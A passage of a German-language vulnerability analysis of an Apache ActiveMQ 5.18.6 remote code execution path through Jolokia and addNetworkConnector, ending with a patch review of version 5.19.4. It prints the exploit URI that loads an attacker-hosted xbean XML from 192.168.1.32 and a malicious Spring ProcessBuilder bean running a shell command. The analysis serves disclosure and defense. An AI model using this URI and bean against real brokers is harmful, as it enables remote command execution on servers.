    connector.start();
    return connector.getName();
}
```
Die MBean-Schnittstelle stellt die Operation wie folgt dar:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;
```
Der vom Angreifer kontrollierte Eingabeparameter ist das Jolokia `exec`-Argument, das an `discoveryAddress` übergeben wird. In der verwundbaren Version führt `BrokerView.addNetworkConnector()` keine Schemavalidierung, keine Validierung verschachtelter URIs und keine Filterung transportspezifischer Parameter durch, bevor die Zeichenkette an `BrokerService` übergeben wird.

`BrokerService` konvertiert die Zeichenkette direkt in einen `URI`:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception {
    return addNetworkConnector(new URI(discoveryAddress));
}

public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception {
    NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress);
    return addNetworkConnector(connector);
}
```
Das Connector-Objekt wird dann mit der lokalen Broker-URI konfiguriert und zum Broker hinzugefügt:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
    connector.setBrokerService(this);
    connector.setLocalUri(getVmConnectorURI());
    ...
    networkConnectors.add(connector);
    return connector;
}
```
Die Steuerung erreicht das Transport-Subsystem, wenn `BrokerView` den Connector startet:```java
connector.start();
```
Für die exploit URI:```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
```
`static:(...)` erstellt einen statischen Discovery-Connector, und die innere `vm://...` URI wird zum entdeckten Remote-Dienst.

---

### VM Transport Analyse

Der VM-Transport wird aufgelöst über:```properties
# activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/transport/vm
class=org.apache.activemq.transport.vm.VMTransportFactory
```
Die anfällige Methode ist:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception
```
Die Methode parst den `vm://` URI, extrahiert die Abfrageparameter und behandelt `brokerConfig` als einen Broker-Erstellungs-URI:```java
host = extractHost(location);
options = URISupport.parseParameters(location);
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
} else {
    Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker.");
    brokerURI = new URI("broker://()/" + host + "?"
                        + URISupport.createQueryString(brokerOptions));
}
```
Die `create`-Option standardmäßig auf `true`:```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
    create = false;
}
```
Wenn kein Broker für den angeforderten VM-Host existiert, erstellt `VMTransportFactory` einen:```java
broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart);
if (broker == null) {
    if (!create) {
        throw new IOException("Broker named '" + host + "' does not exist.");
    }
    try {
        if (brokerFactoryHandler != null) {
            broker = brokerFactoryHandler.createBroker(brokerURI);
        } else {
            broker = BrokerFactory.createBroker(brokerURI);
        }
        broker.start();
        MDC.put("activemq.broker", broker.getBrokerName());
    } catch (URISyntaxException e) {
        throw IOExceptionSupport.create(e);
    }
    BROKERS.put(host, broker);
    BrokerRegistry.getInstance().getRegistryMutext().notifyAll();
}
```
Dies ist der Fehler der Privilegienbegrenzung auf Transportebene. Ein URI, der über die Managementebene bereitgestellt wird, wird vom VM-Transport als Anweisung ausgewertet, einen Broker aus einer beliebigen Konfigurations-URI zu erstellen.

Die verbleibende Parameterüberprüfung erfolgt nach der Brokererstellung:```java
if (!options.isEmpty()) {
    throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;
```
Diese Validierung kann die Codeausführung über `brokerConfig` nicht verhindern, da `brokerConfig` bereits aus `options` entfernt und vor Durchführung dieser Prüfung verbraucht wurde.

Der Upstream-Erkennungspfad lautet:```java
// activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java
remoteTransport = TransportFactory.connect(connectUri);
```
Für `static:(...)`, gibt `SimpleDiscoveryAgent.start()` sofort jeden konfigurierten Dienst aus:```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
    taskRunner = new TaskRunnerFactory();
    taskRunner.init();

    running.set(true);
    for (int i = 0; i < services.length; i++) {
        listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
    }
}
```
`DiscoveryNetworkConnector.onServiceAdd()` stellt dann eine Verbindung zu der vom Angreifer kontrollierten inneren URI her.

---

### Broker-Erstellungsablauf

Die Broker-Erstellung erfolgt durch:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java
public static BrokerService createBroker(URI brokerURI) throws Exception {
    return createBroker(brokerURI, false);
}

public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception {
    if (brokerURI.getScheme() == null) {
        throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI);
    }
    BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme());
    BrokerService broker = handler.createBroker(brokerURI);
    if (startBroker) {
        broker.start();
    }
    return broker;
}
```
Der Handler-Lookup ist schema-basiert:```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");

public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
    try {
        return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
    } catch (Throwable e) {
        throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
    }
}
```
Für `xbean:` URIs wird der Service-Descriptor auf `XBeanBrokerFactory` abgebildet:```properties
# activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/broker/xbean
class=org.apache.activemq.xbean.XBeanBrokerFactory
```
Exakter statischer Aufruffluss:```text
BrokerView.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.<init>(URI)
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> BrokerFactory.createBroker(URI, boolean)
  -> XBeanBrokerFactory.createBroker(URI)
```
Der entscheidende Übergang ist:```text
vm://evil?brokerConfig=xbean:http://attacker/evil.xml
```
An:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))
```
---

### Spring XBean Analyse

Die relevante XBean factory ist:```java
// activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java
public class XBeanBrokerFactory implements BrokerFactoryHandler
```
`createBroker()` extrahiert den schema-spezifischen Teil der `xbean:` URI und erstellt einen Spring-Anwendungskontext, bevor überprüft wird, ob dieser einen Broker enthält:```java
public BrokerService createBroker(URI config) throws Exception {
    String uri = config.getSchemeSpecificPart();
    if (uri.lastIndexOf('?') != -1) {
        IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
        uri = uri.substring(0, uri.lastIndexOf('?'));
    }

    ApplicationContext context = createApplicationContext(uri);

    BrokerService broker = null;
    try {
        broker = (BrokerService)context.getBean("broker");
    } catch (BeansException e) {
    }
    ...
}
```
Der gefährliche Sink ist `createApplicationContext()`:```java
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
    Resource resource = Utils.resourceFromString(uri);
    LOG.debug("Using " + resource + " from " + uri);
    try {
        return new ResourceXmlApplicationContext(resource) {
            @Override
            protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) {
                reader.setValidating(isValidate());
            }
        };
    } catch (FatalBeanException errorToLog) {
        LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog);
        throw errorToLog;
    }
}
```
Entfernte Ressourcen werden von `Utils.resourceFromString()` akzeptiert:```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    Resource resource;
    File file = new File(uri);
    if (file.exists()) {
        resource = new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        try {
            resource = new UrlResource(ResourceUtils.getURL(uri));
        } catch (FileNotFoundException e) {
            MalformedURLException malformedURLException = new MalformedURLException(uri);
            malformedURLException.initCause(e);
            throw  malformedURLException;
        }
    } else {
        resource = new ClassPathResource(uri);
    }
    return resource;
}
```
Daher:```text
xbean:http://192.168.1.32:9999/evil.xml
```
wird reduziert auf:```text
http://192.168.1.32:9999/evil.xml
```
und als Spring `UrlResource` geladen.

Der Aufruf von `reader.setValidating(isValidate())` steuert nur den XML-Validierungsmodus im `XmlBeanDefinitionReader` von Spring. Es schränkt keine Bean-Klassen, Konstruktorargumente, Lifecycle-Methoden oder Remote-URL-Ressourcen ein.

---

### Analyse der Spring-Bean-Instanziierung

ActiveMQ 5.18.6 deklariert:```xml
<spring-version>5.3.39</spring-version>
<xbean-version>4.25</xbean-version>
```
In XBean 4.25 ruft `ResourceXmlApplicationContext` `refresh()` von seinem Konstruktor aus auf:```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
    super();
    this.xmlPreprocessors = xmlPreprocessors;
    this.resource = resource;
    refresh();
}
```
Es lädt Bean-Definitionen aus der angegebenen Ressource:```java
protected void loadBeanDefinitions(XmlBeanDefinitionReader reader)
        throws BeansException, IOException {
    reader.loadBeanDefinitions(resource);
}
```
Springs `AbstractApplicationContext.refresh()` initialisiert dann die Bean-Factory und instanziiert nicht-lazy Singleton-Beans:```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);
```
`finishBeanFactoryInitialization()` calls:```java
beanFactory.preInstantiateSingletons();
```
`DefaultListableBeanFactory.preInstantiateSingletons()` erstellt jedes nicht-abstrakte, nicht-lazy Singleton-Bean:```java
for (String beanName : beanNames) {
    RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
    if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
        ...
        getBean(beanName);
    }
}
```
Während der Bean-Initialisierung ruft Spring benutzerdefinierte Init-Methoden auf:```java
// org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java
protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) {
    ...
    invokeInitMethods(beanName, wrappedBean, mbd);
    ...
}
```
Die benutzerdefinierte init-Methode wird aus der Bean-Definition aufgelöst:```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
        !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
        !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
    invokeCustomInitMethod(beanName, bean, mbd);
}
```
`invokeCustomInitMethod()` ruft die Methode reflektiv auf:```java
ReflectionUtils.makeAccessible(methodToInvoke);
methodToInvoke.invoke(bean);
```
Ein bösartiger Spring XML-Bean wie:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>touch /tmp/blahblah.txt</value>
        </list>
    </constructor-arg>
</bean>
```
führt zu folgendem Verhalten:```text
ResourceXmlApplicationContext constructor
  -> refresh()
  -> XmlBeanDefinitionReader.loadBeanDefinitions()
  -> DefaultListableBeanFactory.preInstantiateSingletons()
  -> getBean("exec")
  -> instantiate java.lang.ProcessBuilder
  -> initializeBean()
  -> invokeInitMethods()
  -> invokeCustomInitMethod("start")
  -> ProcessBuilder.start()
```
Dies geschieht, bevor `XBeanBrokerFactory.createBroker()` den resultierenden Kontext validiert, indem es nach einem `BrokerService`-Bean sucht:```java
ApplicationContext context = createApplicationContext(uri);

BrokerService broker = null;
try {
    broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}

if (broker == null) {
    String[] names = context.getBeanNamesForType(BrokerService.class);
    ...
}

if (broker == null) {
    throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}
```
Die Broker-Validierung erfolgt nach dem Spring-Kontext-Refresh. Infolgedessen kann eine Konfiguration beliebige Init-Methoden ausführen und später dennoch als ungültige Broker-Konfiguration abgelehnt werden.

---

### Ursachenanalyse

Die Ursache liegt in einer unsicheren architektonischen Brücke zwischen einer entfernt aufrufbaren Verwaltungsoperation und vertrauenswürdigen lokalen Broker-Bootstrap-Mechanismen.

Das anfällige Design weist folgende Eigenschaften auf:

- Jolokia legt JMX-`exec`-Operationen für ActiveMQ-Broker-Verwaltungs-MBeans offen.
- `BrokerView.addNetworkConnector(String)` akzeptiert angreiferkontrollierte URI-Eingaben.
- Die URI wird ohne eine Einschränkung auf der Verwaltungsebene hinsichtlich gefährlicher Transportschemata an den ActiveMQ-Netzwerkcode übergeben.
- Die `static:(...)`-Discovery bewirkt, dass die eingeschlossene URI automatisch verbunden wird, wenn der Netzwerk-Connector startet.
- Der `vm://`-Transport ist nicht nur ein In-VM-Transport; er unterstützt auch das automatische Erstellen eines Brokers, wenn der benannte VM-Broker fehlt.
- `VMTransportFactory` behandelt `brokerConfig` als eine Broker-Factory-URI und leitet sie an `BrokerFactory.createBroker()` weiter.
- `BrokerFactory` unterstützt `xbean:`-URIs über `XBeanBrokerFactory`.
- `XBeanBrokerFactory` akzeptiert URL-Ressourcen und erstellt einen Spring-`ResourceXmlApplicationContext`.
- Spring instanziiert eagerly Singleton-Beans und ruft benutzerdefinierte Init-Methoden während des Kontext-Refreshs auf.
- ActiveMQ prüft, ob der Kontext einen gültigen `BrokerService` enthält, erst nachdem Spring den Kontext bereits initialisiert hat.

Dies ist nicht einfach eine isolierte "fehlerhafte Eingabevalidierung". Das anfällige Verhalten wird dadurch verursacht, dass ein konfigurationsfähiger URI-Interpreter über eine JMX-Laufzeitoperation offengelegt wird und dieser Interpreter die Spring-Bean-Lebenszyklusausführung erreichen kann.

Der genaue Fehler besteht darin, dass die Verwaltungs-API `discoveryAddress` als Connector-Adresse behandelt, der nachgelagerte Transport-Stack sie jedoch als ausführbare Konfiguration behandelt. Im Exploit-Pfad wird die Zeichenkette wie folgt ausgewertet:```text
network connector URI
  -> discovery service URI
  -> VM transport URI
  -> broker creation URI
  -> XBean Spring resource URI
  -> Spring bean definitions
  -> Java object lifecycle methods
```
Validierung erfolgt zu spät, da die einzige Broker-Konfigurationsvalidierung in `XBeanBrokerFactory` nach:```java
new ResourceXmlApplicationContext(resource)
```
und dieser constructor führt aus:```text
refresh() -> preInstantiateSingletons() -> init-method invocation
```
Bis ActiveMQ feststellt, dass das XML keine gültige `BrokerService`-Instanz enthält, könnten bereits vom Angreifer kontrollierte Spring Beans ausgeführt worden sein.

---

### Patch Analysis

Der relevante Diff wurde überprüft mit:```bash
git diff activemq-5.18.6..activemq-5.19.4
```
Die sicherheitsrelevante Änderung befindet sich in:```text
activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
```
In 5.18.6 leitete `addNetworkConnector()` die Zeichenkette direkt weiter:```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    ...
    connector.start();
    return connector.getName();
}
```
In 5.19.4 wurde die Validierung hinzugefügt, bevor `BrokerService` aufgerufen wird:```diff
 public String addNetworkConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
```
Die gleiche Validierung wurde zu `addConnector()` hinzugefügt:```diff
 public String addConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     TransportConnector connector = brokerService.addConnector(discoveryAddress);
```
Der Validator lehnt `vm` Transport-Schemata ab:```java
private static void validateAllowedUrl(String uriString) throws URISyntaxException {
    validateAllowedUri(new URI(uriString), 0);
}

// Validate the URI does not contain VM transport
private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException {
    // Don't allow more than 5 nested URIs to prevent blowing the stack
    if (depth > 5) {
        throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs");
    }

    // First check the main URI scheme
    validateAllowedScheme(uri.getScheme());

    // If composite, iterate and check each of the composite URIs
    if (URISupport.isCompositeURI(uri)) {
        URISupport.CompositeData data = URISupport.parseComposite(uri);
        depth++;
        for (URI component : data.getComponents()) {
            if (URISupport.isCompositeURI(uri)) {
                validateAllowedUri(component, depth);
            } else {
                validateAllowedScheme(uri.getScheme());
            }
        }
    }
}

// We don't allow VM transport scheme to be used
private static void validateAllowedScheme(String scheme) {
    if (scheme.equals("vm")) {
        throw new IllegalArgumentException("VM scheme is not allowed");
    }
}
```
Der gepatchte Ausführungspfad wird zu:```text
Jolokia exec
  -> BrokerView.addNetworkConnector(String)
  -> validateAllowedUrl(String)
  -> validateAllowedUri(URI)
  -> validateAllowedScheme("vm")
  -> IllegalArgumentException("VM scheme is not allowed")
```
Dies blockiert den Exploit, bevor die Anfrage erreicht:```text
BrokerService.addNetworkConnector()
DiscoveryNetworkConnector.start()
TransportFactory.connect()
VMTransportFactory.doCompositeConnect()
BrokerFactory.createBroker()
XBeanBrokerFactory.createApplicationContext()
ResourceXmlApplicationContext.refresh()
```
Der Patch entfernt die VM-Transportunterstützung nicht global. Er schränkt die Verwendung von `vm://` über die JMX-orientierten `BrokerView`-Connector-Erstellungsmethoden ein. Interne oder vertrauenswürdige Codepfade, die den VM-Transport verwenden, existieren weiterhin.

Es wurde keine sicherheitsrelevante Änderung an `VMTransportFactory.doCompositeConnect()` zwischen 5.18.6 und 5.19.4 vorgenommen. Das Verhalten von `brokerConfig` bleibt:```java
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);
```
No security-relevant change was made to `XBeanBrokerFactory.createApplicationContext()` in this diff. Remote URL resources and Spring `ResourceXmlApplicationContext` behavior remain available for trusted broker configuration loading.

`BrokerFactory` changed from a raw `FactoryFinder` to a typed `FactoryFinder<BrokerFactoryHandler>`:```diff
- private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
-     new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
+ private static final FactoryFinder<BrokerFactoryHandler> BROKER_FACTORY_HANDLER_FINDER
+     = new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
+     BrokerFactoryHandler.class, null);
```
Dies ist eine Typensicherheitsbereinigung, nicht die RCE-Abmilderung. Der schema-basierte Dispatch an `XBeanBrokerFactory` bleibt bestehen.

`BrokerService` hat `isAutoStart()`-Überprüfungen für den Connector-Start in einigen Pfaden hinzugefügt:```diff
- connector.start();
+ if(connector.isAutoStart()) {
+     connector.start();
+ }
```
Dies ist nicht der primäre Fix für den Jolokia-zu-RCE-Pfad. Die primäre Abhilfe ist die Vorab-Ablehnung von `vm://` in `BrokerView`.

Zusammenfassung des Patch-Verhaltens:

- 5.18.6: `BrokerView.addNetworkConnector()` akzeptiert `static:(vm://...?brokerConfig=xbean:http://...)` und leitet es weiter.
- 5.19.4: `BrokerView.addNetworkConnector()` validiert die bereitgestellte URI vor der Connector-Erstellung und lehnt die Verwendung von verschachteltem `vm://` ab.
- 5.18.6: `VMTransportFactory` kann die vom Angreifer kontrollierte `brokerConfig` verbrauchen, die über den JMX-Pfad erreicht wird.
- 5.19.4: `VMTransportFactory` unterstützt weiterhin `brokerConfig`, aber der exponierte JMX-Pfad wird vor der VM-Transport-Auflösung blockiert.

---

### Zusammenfassung der statischen Analyse

Der genaue anfällige Codepfad in ActiveMQ Classic 5.18.6 ist:```text
HTTP POST /api/jolokia/
  -> Jolokia exec operation
  -> org.apache.activemq:type=Broker,brokerName=<name>
  -> BrokerView.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.setUri(URI)
  -> DiscoveryAgentFactory.createDiscoveryAgent(URI)
  -> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI)
  -> BrokerView.addNetworkConnector(): connector.start()
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> XBeanBrokerFactory.createBroker(URI)
  -> XBeanBrokerFactory.createApplicationContext(String)
  -> Utils.resourceFromString(String)
  -> new ResourceXmlApplicationContext(Resource)
  -> XmlBeanDefinitionReader.loadBeanDefinitions(Resource)
  -> AbstractApplicationContext.refresh()
  -> DefaultListableBeanFactory.preInstantiateSingletons()
  -> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod()
  -> ProcessBuilder.start()
```
Ausnutzung ist möglich, da ActiveMQ eine Verwaltungsoperation bereitstellt, die eine Connector-URI akzeptiert, aber die nachgelagerte Transportimplementierung diese URI als Konfiguration für die Broker-Erstellung interpretieren kann. Der Parameter `brokerConfig` wechselt von der Transportverbindungslogik in die Broker-Factory-Logik. Mit einem `xbean:`-Wert wechselt er erneut in die Spring-XML-Verarbeitung.

Das Spring-Ausführungsprimitiv ist kein separater Deserialisierungsfehler. Es handelt sich um normales Spring-Lebenszyklusverhalten: Ein nicht-lazy Singleton-Bean wird während des Context-Refresh instanziiert und seine konfigurierte `init-method` wird aufgerufen. Ein `java.lang.ProcessBuilder`-Bean mit `init-method="start"` führt daher während der Initialisierung des Anwendungskontexts einen Prozess aus.

Der Validierungsfehler ist ein Reihenfolgeproblem. ActiveMQ validiert, ob die XBean-Konfiguration einen verwendbaren `BrokerService` enthält, erst nachdem `ResourceXmlApplicationContext` das XML bereits geladen und die Singleton-Beans initialisiert hat. Die Ablehnung der Broker-Konfiguration nach dem Refresh macht Seiteneffekte aus den Bean-Lebenszyklusmethoden nicht rückgängig.

Der Patch 5.19.4 entschärft diesen spezifischen Pfad, indem er eine URI-Validierung in `BrokerView` vor der Connector-Erstellung hinzufügt und die Verwendung des `vm://`-Transports von der JMX-Verwaltungsoberfläche ablehnt. Der Patch blockiert den exponierten Pfad zu `VMTransportFactory.doCompositeConnect()`; er entfernt jedoch nicht die Unterstützung von `brokerConfig`, `xbean:` oder das Spring-XBean-Laden aus vertrauenswürdigen internen Konfigurationspfaden.
Tool herunterladen